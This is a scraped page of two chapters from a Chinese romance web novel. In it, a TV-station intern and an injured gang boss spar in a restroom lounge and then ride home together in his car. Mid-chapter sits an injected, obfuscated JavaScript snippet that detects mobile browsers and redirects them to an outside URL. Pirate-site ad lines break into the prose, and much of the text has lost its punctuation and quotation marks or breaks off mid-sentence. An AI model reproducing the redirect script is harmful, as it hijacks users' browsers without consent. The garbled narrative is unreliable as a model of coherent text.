程菲刚把这句心里话说出口就后悔了。她懊恼地咬了唇瓣,想说点什么来找补,一时半会儿又毫无头绪,只能悄然抬眸,偷看头顶上方,想观察一下她口中那位“无良社会哥”的反应。 进休息室也有一阵儿了,这时程菲的眼睛已经勉强习惯黑暗的环境,不再是睁眼 瞎状态。 这一抬眸,刚好就看见周清南那张脸。 虽然这么说很没出息,但程菲不得不承认,每回瞅见这张脸蛋,她心里都忍不住想夸两句。 不怪程菲是个花痴,只怪大佬美颜盛世。 此时,周清南整副面容浸泡在浓夜的阴影中,眼窝骨画出深邃眉眼,鼻梁挺直,双唇薄润,赞一句“女娲的旷世神作”也真一点不过分。 无良社会哥面无表情地瞧着她。 滴答,滴答,死寂在休息室里持续蔓延了大约两秒钟。 浑身沐浴在大佬重如千斤的眼神威压下,没一会儿,程菲就有点绷不住了。 她朝周清南挤出一个比哭好看不了多少的笑容,囧囧有神道:“周先生,我们前前后后也接触这么多次了,您也知道,我这人爱开玩笑。” 周清南盯着她,说:“无良社会哥不可以关注扶贫?” 程菲诺诺点头:“可以。” 周清南:“无良社会哥不能爱国?” 程菲更加恳切地小鸡啄米:“能。” 周清南继续直勾勾地盯着程菲看。 程菲察觉到他的眼神,暗道一声糟糕,生怕这位大佬又在她得罪他的小本本上多记一笔仇,赶紧双手合十,眨着一双晶亮明眸朝他真诚地说:“周总我错了。相信周总大人有大量,肯定不会和我一般见识。” 周清南:“……” 认真说,这姑娘平时并不是老实柔弱的性子,天生伶俐得很,仿佛眼珠子随便转两圈,就能想出一箩筐的鬼点子。可是她偏又十分擅长伪装。 当她那双乌黑分明的大眼睛无比诚挚地望着你,浓密的睫毛轻颤不停,楚楚可怜,就好像全世界都有了罪过。 这模样简直难以形容,太娇了,娇得周清南有点儿受不了。 因此,回回让她惹得再不爽,一见到她这副柔枝嫩叶的真诚样,即使知道她是装出来的,他所有火气也都会跑个没影儿。 周清南无言。 他视线往下扫一眼,见姑娘两只纤白小手还紧紧抓自己的左臂,不禁细微挑了挑眉,接着便没什么语气地问她:“梅景逍呢。” 程菲眨了眨眼睛,下意识便老实巴交地回他话:“还在雅间里,我总监在跟他商量去兰贵县考察 的事。 周清南:“程小姐可是今晚这场饭局的要角儿,你不留在里面跟梅家的四少爷谈艺术谈人生,跑出来干什么? 这番话听得程菲微微蹙眉。她从周清南话语的字里行间品出了丝若有似无的嘲味儿,不禁有些恼,回他:“你以为我想跑出来吗,还不是因为…… 黑暗中,周清南神色不明,“因为什么。 “还不是因为……程菲心口无端端一阵收紧,烧得慌,呼吸也跟着局促起来,停顿半秒才低声不自在地说,“还不是因为想到你身上有伤又帮我挡了那么大一杯红酒,担心你出事。 程菲话说完,不算宽敞的休息室内再次静了静。 片刻,程菲见身前的大佬半天都没反应,以为他是伤口又痛起来已经没力气说话,瞬间就没心思和他打嘴仗了。 她转动脑袋在屋子环视一圈,见两人身后不远处正好摆了张双人位沙发,便提议道:“别站着了,那边有个沙发,我扶你过去坐会儿。 说着,程菲便双臂发力架住周清南,准备把他扶到沙发那儿去。 谁知刚有动作,这男人却轻轻一抬胳膊,动作柔和地将她双手拂了开。 周清南淡声说:“我自己走。 “……程菲双手尴尬地僵在半空。她抿抿唇,稍作停顿后腮帮一鼓,又重新将他的手臂给捞回来,小小声地吐槽,“刚才不是还说你伤口痛?都这样了还耍什么帅逞什么能,我又不是没见过你半死不活的样子…… 她蠕动嘴唇自顾自地念叨着,声音小得就像几只小蚊子在周清南耳边嗡嗡,却依旧被他听得一清二楚。 周清南让这伶牙俐齿的小姑娘怼得嗤笑出声,一时间都不知道说什么了,推脱不过,只好无奈由她去,任她半拽半拖地扶着自己往沙发走。 落了座。 周清南眼皮微掀,视线落在程菲白生生的脸蛋上。 暗光将她本就无暇的皮肤映照得更加剔透,咫尺之遥,他甚至能清晰看见她描画的眼线,深棕色的两道弧,将眼尾略微延长出来,配上乌黑眼珠,像只成了精的小狐狸。 一股淡雅微甜的香味儿钻进周清南鼻息。 他知道,这是从她领口肩颈间散发出的味道,盛夏的水果落入雪白牛奶,被体 小说全网首发无弹窗免费阅读qiexs?(请来企鹅 小说 看最新章节 完整章节) 温一蒸芬芳馥郁。 周清南置于暗处的右手食指极轻微地跳了下一股莫名的燥热从骨缝里浸出来眨眼间染透四肢百骸。 短短一两秒他喉结上下滚动一瞬不动声色地移开落在程菲身上的目光。 “你坐下休息休息。”程菲没有察觉到周清南的任何异状。 将他扶到沙发上坐好后程菲直起身来扑了扑手余光不经意间一瞥 她径直走过去。 弯下腰打开饮水机下方的柜门取出一个崭新的一次性水杯。 空气里响起哗啦水流声。 “喏喝点水吧。”程菲将杯子递给周清南。 周清南顿了下单手接过纸杯。杯身温热不烫不凉。 程菲见状以为他在嫌弃水太热便自然而然地解道:“我知道你喜欢喝冰水但是现在你伤还没好全病体虚弱多喝热水才有助康复。” 周清南看她一眼淡声问:“你怎么知道我喝水的习惯。” “……” 糟糕。一时失言暴露出她向陆岩打听过他的事了…… 程菲一双亮晶晶的眸子眨了两下僵滞片刻才清清嗓子、挤出笑容回周清南道:“上次我不是和陆岩一起回家吗路上无聊就跟他随便聊了两句。” 周清南直到昨天半夜才彻底退的烧伤情未愈头也还有点儿疼。一时间没记起她说的事微拧眉:“哪次你跟陆岩一起回家。” 程菲想起这茬就有点无语闷声闷气回:“不就是你让他跟踪我那次。” 周清南合眸单手拿水杯另一只手轻轻挤压了下眉心须臾嗓音平静地说:“我没让他跟踪你。当时我让他送你是为了确保你的安全。” 这个回答倒是有些出乎程菲的意料。 她愣怔了半秒然后问他:“为什么要让陆岩保护我的安全?” “我仇家很多。汽修厂那晚你赖上我之后所有人都以为你是我的女人。” 周清南说话的同时眼神始终在看掌心里那杯温水。看见水泡从杯子底部升起来至水面见了光于是眨眼间破灭化为虚无。 他调子懒洋洋的漫不经心而又随性仿佛只是在叙述一件 稀松平常的事,“当时我刚被人砍了一刀,我的仇家没要成我的命,恼羞成怒之下就有可能会对你动手。为了不让你受到伤害,我只能谨慎一些。 听周清南说完这些,程菲心里却生出几分沉重,像是凭空掉下来几块大石头,压得她有点喘不过气。 她站在几步远外,齿尖轻咬唇瓣,定定望着沙发上的男人,眼神复杂。 这时,周清南终于喝了一口她倒给他的温水,继而朝她轻淡一弯唇,吐出两个字:“多谢。 程菲看着他,也不知怎么的,冷不丁便忽然问:“你很担心我受到伤害吗? 闻声刹那,周清南眼底的眸光细微一动。 然而当他开口回话时,面上神色却仍旧淡漠如初,像一片无风无浪的海面。 他直视着她,散漫地道:“我这种人的命最不值钱,丢了也就丢了,但程小姐你不一样。你是名校毕业的高材生,电视台的传媒工作者,未来的大导演。你如果出什么事,那是整个社会的损失,我担待不起。 一通高帽子扣下来,程菲一点没觉骄傲得意或者开心,只感到无语。 程菲忍不住睁大了眼睛,瞪他,不满地嘟囔:“请问周总这是在损我吗? 周清南轻声,一字一顿地回答:“肺腑之言。 傻子才信你是肺腑之言。 罢了 不管他是出于什么心态保护她,至少最近这段时日,她的人身安全确实没受到任何威胁。 加上今晚他带伤帮她挡酒,她应该感谢他…… 想到这里,程菲不禁轻皱眉头,视线又回到周清南身上,暗搓搓地扫视一圈,终于还是没忍住过分强烈的好奇心,低声试探道:“你……你和梅景逍梅总,真的是朋友? 听见她口中说出“梅景逍这个名字,周清南眼底的眸光瞬间冷几分,隐覆薄霜。 他脸上神情没有任何异常,只是直勾勾看向她,挑了挑眉,道:“怎么。我不配? 程菲黑线脸:“……我不是这个意思。 程菲由衷怀疑这位大佬今天出门前是吃过炸药,不然,为什么每句话听起来都夹枪带棒火药味十足? “我只是觉得有点奇怪。 程菲很纳闷儿,与其说是在和周清南对话, 倒不如说是在自言自语,声音也低低的,“梅景逍是在国外长大的,而且梅氏集团的总部在云城,你又一直生活在滨港,你们应该没什么机会认识才对。还有,你们的年龄差了好几岁,也不可能是同学什么的呀……” “做人还是糊涂点好。” 周清南脸色淡漠地打断她,“任何事情都刨根问底,对你没有好处。” 程菲有点被男人眼底的寒色给吓住,蓦地收声。 周清南慢条斯理地续道:“你不需要知道我和梅景逍是不是朋友,也不用好奇我今晚为什么会出现,你只需要记住一件事。” 程菲不解:“什么事?” “梅景逍不是什么好东西。”周清南冷冷地说,“你离他远一点。” “……” 程菲千算万算,是怎么都没料到这位大佬会说出此番言论,只觉天雷滚滚不可思议,心想:说实话,比起那位干净美少年,我觉得你更不像个好东西。 当然了,有了前几次的前车之鉴,程菲这回已经学乖了。 她很明智地选择了只腹诽不声张,表面上还是朝周清南露出了一个友善微笑,斟词酌句,非常有求生欲地说:“首先我声明,我绝对没有反驳您的意思。我只是想告诉您,梅氏集团的这笔资金,对我们的新栏目真的非常重要……” 不料话还没说完,忽觉手腕受紧,被一股大力给钳住。 程菲愕然,根本来不及做任何反应,整个身子便在那股力道的拉拽下往前扑,电光火石之间,眼前天旋地转,她人直接扑倒在男人胸前。 周清南依旧保持着靠坐在沙发上的慵懒姿势,眼皮垂下去,直勾勾盯着面前的姑娘。 “我不想听这些废话。”周清南说。 “……” 距离之近,不足三指,近到彼此之间呼吸缠错。 程菲闻到男人唇齿间的清冽薄荷味和极淡的烟草味,骤然脸通红,心慌意乱,条件反射想要逃离。 看出她的意图,周清南五指一收,将她纤细的腕骨攥得死紧,不仅不准她逃,反而将她扯得更近。 “我再说一遍。程菲程小姐。” 他笔直注视着她澄净晶亮的眸,念出她名字,音量不大语速平缓,但每个字音都投射出阴鸷的威胁,令人不寒 而栗,“你给我离梅景逍远一点。听清楚没? 程菲:“…… 程菲:……不是。这位大佬这是又在发什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13415796|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 癫?跟头被抢了肉的疯狮子一样,威胁一遍不够还要阴森森地威胁第二遍。总不可能是吃醋了吧?! …………? 吃醋??? 苍天啊大地啊,她疯了吧!为什么忽然想到这么离谱的词,原来癫病也会传染吗! 看着周清南阴沉莫测的俊脸,短短几秒间,程菲脑子里思绪乱飞又惊悚又混乱,硬是半晌都没挤出一句回音。 这时,周清南的耐心已经消耗得所剩无几,又出声:“回答我,听清楚没有? “听、听清楚了。程菲急于脱身,只能先冲他点头。 周清南钳住她腕骨的指掌这才松开。 程菲赶紧站直身子,手忙脚乱地往后退出几步远,用一种一言难尽的眼神看沙发上的大佬。 她脸红扑扑的,心脏跟完全失控一样跳得飞快,沉吟数秒钟,终于禁不住道:“梅景逍是我们这个项目的大甲方,徐总把工作交到我手上,对我委以重任,我当然得尽力博取梅景逍的好感,让他认可我们。 周清南闻声,眉眼间神色微凝,仍直直盯着程菲,没说话。 “我去了解梅景逍的喜好,关注他的兴趣,都只是为了能顺利把合同签下来。程菲说到后面,声音已经轻得几乎听不见。 然后她稍稍顿了下,瞥周清南一眼,没好气地咕哝:“真不知道周先生您这么大反应干什么。我妈都不会插手我工作上的事,您倒管得不少。 那头。 听完小姑娘口中的话,周清南定神,闭上眼沉沉吐出一口气来。意识到自己刚才的反应过激,他静了静,说:“刚才是我失态,抱歉。 程菲本来还有点委屈,但听见他主动道歉,她心里的火气就像遇上了汹涌潮浪,眨眼间就被消得一干二净。 “算了。看在你受了伤还帮我喝了一杯酒的份上,我不跟你计较。程菲闷闷回了句。 片刻,她想起什么,连忙掏出兜里的手机看时间。 距离她离开雅间到现在,已经过去二十几分钟。 程菲蹙眉,想到雅间里的徐总和甲方爸爸团,她当即决定折返回去。 “那个,周先生…… 周清南神摇头,没说什么,长臂撑住沙发旁边的法式灯柱,站起身。 程菲见状,微微吃了一惊,说:“你、你要不还是再休息一会儿吧? “不用了。周清南嘴角轻蔑地勾了勾,笑意阴沉,漫不经心,“我再不回去,有些人怕是该着急了。 * 等程菲和周清南一起回到雅间时,梅氏集团的三名随行人员和梁主任都已喝得七七八八,屋里只剩下唯二两名清醒的人,一是徐霞曼,二是梅景逍。 开门声传来,梅景逍端起茶杯轻抿一口,抬眼便瞧见门外缓步而来一对璧人,男俊女靓,画面说不出的养眼。 梅景逍唇畔意味不明地牵起一道弧,没任何反应,只是自顾自将手里的茶杯放回桌上,拿起餐巾,优雅地擦拭嘴角。 身旁,周清南重新落座。 梅景逍侧目看周清南一眼,目光颇有几分耐人寻味,倾身靠过去,低声称赞:“身上带着伤还玩儿这么久,周总果然厉害。 “半个钟头就叫‘久’。周清南低眸,拿纸巾擦了下被梅景逍碰过的桌面,轻描淡写,“梅总是不是也太虚了。 梅景逍:“…… 梅景逍没占着嘴上便宜,脸色微凉,不再说话。 “你刚才跑哪儿去了?上个洗手间上这么久,我还以为你喝多了昏倒在里头。见到程菲,徐霞曼一双柳眉瞬间打起一个结,压低声音责备,难掩担忧。 程菲窘迫,掩饰般夹起一筷子青菜放嘴里,含糊地回话:“有点头晕,在休息室里坐了会儿,醒了醒酒。 徐霞曼追问:“那现在好些没有? 程菲点头如捣蒜:“好多了。 “没事儿就好。徐霞曼拍拍程菲的肩膀,“回去好好休息一下。 “嗯。 所谓老将一出手,就知有没有。后来程菲才知道,在她消失的小半个钟头里,徐霞曼已经和梅家的小少爷确定好了去兰贵县实地考察的时间,就在一周以后。 同行人员名单待定。 饭局结束了。徐霞曼 安排了专车护送梅氏集团的人回酒店下榻又叫了一辆车送醉得满嘴胡话的梁主任最后便提出要程菲坐自己的车一同离去。 程菲知道徐总的家和她家在两个方向摇头婉拒表示自己坐地铁很方便。 徐霞曼见她态度坚持拗不过只好由她去。 十分钟后代驾小哥来到了酒店地下室。 程菲将有些晕乎的徐霞曼扶上轿车后座目送车辆离去。 吃完饭送完人今晚这场局就算是画上了一个圆满句号。 程菲心情轻松了些继而便边往电梯厅的方向走便在地图上查找起乘地铁回家的线路。 然而走出没几步一道低沉男声忽然从后方传来叫住她:“程菲小姐。” “……”程菲识别出这道熟悉的嗓音诧异的同时转过脑袋。 只见几米远外站着一个穿黑色夹克的男青年身形魁梧面貌英伟眉峰横过一道狰狞刀疤不是陆岩是谁。 “陆岩?”程菲惊讶极了“你怎么在这里?” “老板吩咐我送你回家。”陆岩回道。 程菲迟疑本来想婉拒狠人刀疤哥和他家老板的好意可转念一想刀疤小哥大老远赶来人都到她跟前了她再一拒绝岂不是让人家白跑一趟? 古惑仔的时间也是时间古惑仔的时间也很宝贵。 如是思索着程菲也不推辞了大大方方地答应下来。 两分钟后程菲跟在陆岩身后来到那辆熟悉的黑色越野车前。 陆岩径自进了驾驶席程菲出于礼节自然而然地走到了副驾驶席那一侧开门上车。 陆岩:“……” 陆岩转头看向程菲表情微妙眼神怪异。 程菲这头刚坐下正在给自己系安全带见陆岩这副神态不禁狐疑 话音刚落便听见车厢内响起一道她已经相当熟悉的嗓音低沉微哑隐隐透着一丝疲乏淡声道:“离我那么远做什么。” 程菲:“…………” ? 程菲简直被这个声音惊傻了机器人似的一卡一顿转脖子回头看向越野车宽敞的后排区域。 周清南西装笔挺坐在右侧一双大长腿优雅又慵懒地交叠着眸微合正在闭目养神。 程菲:……??? 等等这位大佬刚才不是跟梅氏集团的人一起走了吗?什么时候跑回来的? 就在程菲凌乱之际背后的大佬又开口了。 周清南眼也不睁只淡淡说了五个字说:“坐我旁边来。” 作者有话要说 大佬:光对梅四献殷勤算什么本事你倒是也来贴贴我啊! —— 随机100个红包包~ 看这本书的人都是很幸运的,分享后你的运气会更棒的 第 30 章 求我。 第30章求我。 听完后排那位大佬的话,程菲想着自己坐都坐下了,再换去后座麻烦得很,便朝后排那位爷笑了笑,礼貌婉拒,说:“周先生您一个人坐后面宽敞一些,我看,我就不用换过来了吧。” 话音落地,周清南还是没有睁开眼睛,照旧语气如常:“坐我旁边来。我不想重复第三遍。” 程菲:“……” 这么执着让我换到你旁边,你旁边的位置是镶了金还是嵌了钻?坐上去能捡钱还是怎么地? 程菲心里一阵无语,但又不敢当面将自己的困惑和不满表露出来,只能默默推开副驾驶这边的门,下了车,再乖乖绕行至后排,拉开车门,正襟危坐。 平心而论,周清南这辆豪车的内部空间已经很豪华,但大佬的气场实在凌冽,就算他只是安安静静坐在那儿,头枕椅背闭目养神,一句话都不说,也足以令整个车厢内的气氛压抑低冷。 因此程菲颇为拘谨,坐定之后,纤细的背脊挺得笔直,眼观鼻鼻观心,只时不时拿眼风往身旁偷瞄一眼,暗中观察周清南的脸色。 其实她以前确实挺怕周清南的。 无论是汽修厂初遇他碾压另外两名大佬级角色,还是不夜城KTV里他公然逆势而为护下她,桩桩件件,都不难看出,这人的行事风格霸道强势,是个不讲半分情面的狠角色。 但随着后面的相处越来越多,她又发现了这位“狠角儿大佬”很多不为人知的另一面。比如他睡觉被她吵醒时,他会压着起床气领她“搜家”;比如得知陆岩熬通宵看小说时,他会专门放一天假给他家小老弟补觉休息;又比如,他还会在她不分青红皂白冤枉他要弃养女儿时,强压怒火,冷着一张脸给她洗车厘子吃…… 随着这些小细节的丰富,周清南在她心目中的形象就逐渐发生了变化,从最初那个单薄刻板的“黒帮大佬”纸片人,成了一个立体生动、亦正亦邪,呛起人来毫无痕迹,偶尔有点痞,偶尔有点颓,偶尔还会间歇性抽风给你来上两句冷笑话的活生生的人。 最近程菲都没那么忌惮他了。 可今晚这位大佬也不知是哪根筋没搭对,整个人就跟刚生吞了十吨炸药似的,浑身上下、从头发丝到脚指头, 每寸皮肤都透着一股子“老子今天非常不爽,谁惹我谁他妈就给我死”的冷戾劲。 迷。 太迷了。 此时,处于风暴旋涡的中心地带,程菲当真是大气都不敢出一声,生怕自己一不小心就惹到身边的大佬,被他拿来开刀祭天。 滴答滴答滴答,时间悄无声息地溜过去三秒钟。 就在程菲数不清第几次用余光偷瞟身边的大佬时,大佬终于有了动作。 周清南慢条斯理地掀开眼皮,侧过头,看向她,无端端就来了句:“这个角度怎么样?” 程菲一呆,没明白他这句话是在表达什么,迷茫地眨了眨眼睛:“……什么这个角度怎么样?” 说更新,记住域名qiexs.com⑵(请来企鹅小 说 看最新章节 完整章节) “程小姐这么喜欢看我。”周清南眉眼平静,“正脸岂不是更清楚。” 程菲:“……” 大佬怼人最为致命。 程菲尴了个尬,梗着脖子又坐了差不多半秒钟,才朝周清南挤出个僵笑,虚与委蛇道:“周先生真是永远都这么风趣诙谐呀。” 驾驶室里的陆岩发动了引擎。 程菲感觉到车身启动,下意识往车窗外看了眼,从越野车的行驶方向便判断出是去平谷区的路。 就在她视线移开的当口,耳畔又冷不丁飘来一句话,淡声道:“我让你坐我旁边,是有话要跟你说。” 程菲怔忡了瞬,重新转回脑袋。 程菲表情里透出几分狐疑:“什么话?” 周清南浅色的眼瞳直勾勾盯着她,顿了下,然后才缓慢道:“我貌似记得,有人好像说过,要帮我求一个平安符。” 程菲闻声,眸光突地一跳,抬手摸摸脑门——对哦,平安符! 周末晚上她从萧山回来之后,就一直在操办今晚这场饭局的各项事宜,又是调整菜品又是采购酒水采购茶果,忙得晕头转向,完全把这件事忘在了脑后。 “上周末,我和我妈我小姨已经去过萧山太公顶了。” 程菲开口解释,答应别人的事没做到,她不好意思极了,眉宇之间隐隐流露出一丝愧疚,“本来我确实准备帮你也请一个平安符。可是庙里的师傅说,平安符是佛前圣物,别人代请的不太灵,所以……就没请成。” 周清南听她说完,也没太大反应,只是平静 地点点头,表示了解:“哦。 这位大佬向来喜怒不形于色,程菲摸不准他心里在想什么,怕他以为她是随便找了个理由来打发,又急忙补充道:“我是真想帮你请!确实是因为那个大师拒绝了我……我没有忘记,也没有随便跟你说大话吹牛。 “没请成就没请成。周清南将姑娘眉目间的焦急收入眼底,眉峰极细微地挑了挑,漫不经心道,“又不是多大个事儿。干嘛跟我解释这么多? 程菲愣住,眨了眨眼睛。 周清南瞧着身旁的小姑娘,须臾,忽而略微倾身往她靠近些许,盯着她晶亮的眸,轻声道:“你好像很想证明什么? “……程菲被男人一语言中心事,更加窘迫,白皙的双颊以肉眼可见的速度漫开红潮。 不过下一秒她便努力镇定下来。干咳一声清清嗓子,回他:“我妈从小就教育我,做人要讲究诚信,我答应你的事没有办到,我当然得说明原因解释清楚,不然岂不是显得我人品有问题。 周清南听得淡笑一声,懒漫道:“程小姐多虑了。一个平安符而已,我根本没放在心上。 没放在心上…… 不知为什么,他这句轻描淡写的话语,竟令程菲胸中渗出一丝微不可察的失落。 她心里有点不是味儿,抿了抿唇,小声回了句:“既然没放在心上,那你为什么又要跑来问我? 周清南淡淡地回答:“突然想起来了而已。 “行吧。程菲深吸一口气吐出来,面上一派的随意,没有将心中的涩意泄露出分毫。不再吭声,脑袋也耷拉下去。 周清南的目光倒是一直不离,仍笔直盯着这小姑娘看。只见她像是有些低落,低眉垂首不说话,难得地安静,几根纤细雪白的手指头跟找不到事干似的,在他纯黑色的真皮座椅上抠来抠去。 像只百无聊赖挠沙发解闷的小猫。 周清南觉察她这一细微又可爱的小动作,毫无意识,嘴角寡淡地勾了勾。 程菲抠了会儿座椅,蓦地,像想起什么,转过头看周清南一眼,试探地出声唤道:“周先生…… 谁知后面的话还来不及往下说,便让大佬淡声打断。 周清南:“我建议你换个称呼。 程菲: ? “换个称呼?”程菲脑门儿上升起一个问号很困惑微蹙眉心道“什么意思我听其他人不都是这样喊你的吗。” 周清南:“其他人是其他人你是你。” 程菲:“……” 胸口里的心脏猛地突突两下。程菲耳根隐隐发热静半秒嗫嚅着回他话:“不都是两只眼睛一个鼻子我和其他人有什么不一样。” “我也不知道为什么。”周清南说话的同时落在她脸蛋上的视线不动声色便移了开轻声道“听你这样喊我就是觉得别扭。” 车厢内静了静。 细密汗珠从掌心渗出来程菲两只手掌都湿漉漉的。 她心跳越发急促脑子里莫名便生出一个猜测:他那句“其他人是其他人你是你”是不是说明……在他心里她是个不一样的存在? 如是思索着程菲脸颊的温度不禁更烫略微低下头沉吟数秒方才再度开口声音听着有些拘泥嗡嗡哑哑的:“那你觉得我应该称呼你什么?” 周清南看她一眼眸光沉静没出声。 程菲已自顾自思索起来垂着眸边想边自言自语似的说:“你身边那些手下都叫你周先生你既然听不惯也就是说我对你的称呼不能和他们一样……” 说着说着 陆岩全程面无表情开他的车对后座发生的所有事视若无睹充耳不闻主打一个专注。 陆岩喊周清南什么来着?老板。 这称呼明显也不适用于她。 除了陆岩以外周清南身边关系亲近点的又和她认识的人就是周小蝶小朋友。 小蝶叫他什么?爸爸。 她总不可能也跟着喊这位大佬daddy吧? “……”程菲被这个诡异的称呼给吓到了打了个冷战。 大脑卡壳思来想去半天没结果她最终还是选择了放弃。于是眉心深锁对边儿上的大佬道:“我想不出来请您直接给个明示。” 大佬看着她那表情就像这辈子都没这么无语过。静默了足足三秒钟才开口语气淡漠:“我姓周名清南。清风的清回南天的南。” 程菲有点懵不知道这人为什么忽然 又跟她做一遍自我介绍。 她奇怪地说:“我知道你叫周清南呀。” “姓名是人在社会交往中的重要标识。如果你嫌我的名字太长太拗口当然也可以精简一点。” 周清南直勾勾盯着她的眼睛稍顿半秒语气散漫里平添一丝玩味儿:“叫我‘阿南’。” “……”程菲浓密的长睫跳跃一瞬在心里默念了一遍“阿南”顿觉嗓子眼儿里都在冒火星烧得她心口烫烫的。 阿南……叫起来好亲昵。 就像他们的关系有多亲密一样。 程菲喉咙有点发干很快便悄然呼出一口气说:“好吧那我以后就直接叫你名字吧。” 周清南本来伤就没好全刚才又喝了点酒这会儿整副脑子都在隐隐作痛。本想睡会儿可这姑娘在边儿上叽叽喳喳嚷个不停搅得他根本没法休息。 索性也就渐渐坐正身子从车载置物箱里取出白玉珠单手捏着摩转把玩当做消遣。 左侧太阳穴忽然扯了下。 他微拧眉一只手抬起来随意摁两下另一只手继续转珠子口中懒洋洋地应姑娘一声“嗯”表应允。 然后就听见小姑娘再度启唇发音喊他:“周清南。” “……”周清南把玩白玉珠的动作倏然一顿。 车厢内玉石磨转的声音戛然而止只剩一声清灵的“叮”作余音飞泉溅鸣。 一个如此寻常的名字从女孩口中念出来平添几丝旖旎。像凭空伸出一根羽毛纤细的柔软的若有似无从周清南心口拨过乱人心弦。 他指尖轻轻摩挲了下白玉珠圆润的表面。 车里没开灯车窗外飞速后退的光线也不算明亮周清南整个人都在黑暗中喉结上下起伏一瞬 “什么事。”他重新转起珠子回了句。 “萧山太公顶……你以前去过吗?”小姑娘轻声问他。 周清南从来不信鬼神摇头答话:“没有。” “那里离滨港市区不远的。”程菲说“开车的话稍微慢一点坐动车会快很多两个小时就能到。算上爬山的时间休息吃饭的时间基本上两天就能来回。” 周清南注视着她 问:“程小姐跟我说这个做什么?” 程菲似乎有点窘迫脸蛋微红打扫了一下喉咙支吾着道:“这不是没帮你请到平安符我有点过意不去吗就想着后面如果你有时间我、我可以带你去一趟……” 周清南听得微挑眉峰“你的意思是 “谁说单独了。”程菲立刻否认黑白分明的眼眸中又慌又窘混乱间视线左右乱飞一下就看到了驾驶席上的陆岩顺手一指“陆岩要是有空也能跟着一起去啊!” 陆岩:“……” 陆岩无语透过中央后视镜幽幽睨了程菲一眼表情仿佛在说:你俩能不能别扯上我我就一背景板莫cue谢谢。 陆岩很快便收回眼神继续认真开他的车假装什么都没听到。 后排。 周清南眼底的笑意一闪即逝。他定定盯着程菲看了她片刻后才又开口慢条斯理地说:“你说你周末已经去过萧山了?” “嗯。”程菲点头“我去过了。” 周清南:“你自己的平安符请到没?” “当然请到了我妈特意带我过去就是为了求符。”程菲说着随手就掏出手机掰下手机壳把和发财符放在一块儿的另一枚小符取出来递到他眼前兴冲冲又笑吟吟“看就是这个。” 周清南低眸。 姑娘的手小巧而又白皙手掌肉嘟嘟的每根手指却又十分纤长像刚剥出来的葱段掌心躺着一枚三角形的明黄色佛符。 周清南伸手去接符食指指腹不经意间扫过她掌心触感柔软细嫩难以形容。 “……”他眸色微深几分不动声色将平安符翻转着打量一眼后归还给她。 周清南淡淡地问:“你已经有符为什么还想再去一次萧山。” 程菲很自然 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直系大BOSS来电,程菲神经立即紧绷起来,调整心情深呼吸,用力清了清嗓子后才滑开接听键,将手机听筒怼到耳朵边上,用自己最正经靠谱的口吻,唤道:“徐总。” “程菲。”徐总的声音从听筒里传出来,听上去有些疲乏,应该是红酒的酒劲这会儿才开始发作。她关切地问,“你到家了吗?” “还没呢。”程菲说。 徐总似乎有点诧异,说:“那你现在在哪里?已经坐上地铁了吗?” “我……”程菲嗫嚅,眼风悄悄扫过身边的无良社会哥,硬着头皮道,“我打的网约车,这会儿正在回家的路上呢。” 徐总闻言,这才放心几分,又说:“那就好。” 程菲问:“徐总您呢?已经到家了吗?” 徐霞曼打了个哈欠,应她:“快了。” 程菲:“那您打电话给我是有什么事要交代吗?” “哦,没什么,就是看你半天没回我微信消息,怕你这边有什么状况。”徐霞曼笑着道。 微信消息?程菲心生狐疑,回了徐霞曼一句“您稍等,我马上看看”后便将手机拿到跟前,飞快打开微信APP,查阅。 果然,徐总的头像上方出现了一个小小的红色数字“2”。 她点进去。 徐霞曼:【今天辛苦了。梅总那边对今天的会面很满意,还特意在电话里夸了你一通,说难得能遇上一个和他这么投缘的人。】 徐霞曼:【梅总还问我要了你的联系方式, 说方便日后沟通新栏目的事,我已经把你的手机号发过去了。】 看着徐总发来的两段文字内容,程菲心中大喜,两眼噌噌放光,自动忽视其他内容,只注意到了那句“对今天的会面很满意。 她克制下喜悦的喜庆,重新将手机举到耳朵边上,笑盈盈道:“不好意思啊徐总,我才看到您发的微信。 “行了,赶紧回家好好休息吧。徐霞曼笑着道。 “徐总您也辛苦了,再见。程菲说完便准备挂断电话。 就在这时,听筒那边的徐霞曼却像是又想起什么,冷不丁又说了句:“对了程菲,梁主任他…… 程菲挂电话的动作骤然顿住,听见徐霞曼提起梁瀚,又想起今晚饭局上梁瀚各种出言挑唆给自己穿小鞋的行为,她眼底瞬间泛起几分不满。 程菲没说话,安静等待徐霞曼说下文。 谁知一连等了两三秒,却只等来对方的一声叹气,外加一句:“梁主任是台里的老人,平时工作上也算是踏实负责,就是有点小鸡肚肠,加上今晚又喝了酒……有些事做得是过了点,你也别往心里去。我会私下找梁瀚谈。 程菲进电视台的时间虽不长,但台里如今的局势,她已经基本上摸清。 梁主任这样的中层,在台里的处境其实最尴尬,人到中年能力有限,往上看,想晋升升不动,往下看,年年都有新鲜血液注入,大把年轻有为的新人对他的位子虎视眈眈,随时准备取而代之。 这一批次的六个实习生里,程菲是最受徐霞曼重视的,梁主任看不惯她,很正常。 程菲心里自有一杆秤,笑着回徐霞曼道:“放心吧徐总。大家今晚都喝多了,明天天一亮,什么都忘了。 “你能这么想就最好了。 没一会儿,徐霞曼那头挂断了电话。 程菲握手机的胳膊放下来,眼帘垂得低低的,若有所思,不知在想什么。 须臾,还是耳畔一道嗓音将她的注意力唤回。 “到了。风轻云淡两个字,音色清冷,磁性悦耳。 “……程菲回魂儿,抬起脑袋往窗外看,这才发现越野车已经停在了她家小区门口。 “谢谢啊陆岩,辛苦你了。程菲整理好思绪,边将手机重新放回包里 边对驾驶席上的冷漠青年道。 陆岩朝她吊儿郎当地摆了下手示意不客气。 程菲把背包往肩上一挎沉吟两秒才又扭过头 “也谢谢你。” 捏住肩带的指不自觉收紧几分程菲弯起嘴角露出了一个由衷感激的浅笑轻声说“周清南。” 白玉珠在周清南指掌间缓慢转动他视线沉沉地瞧着她没有作声。 程菲也没想等他回话径自推开车门准备下车。 可这车门不知怎么的她一推使了劲没推开。 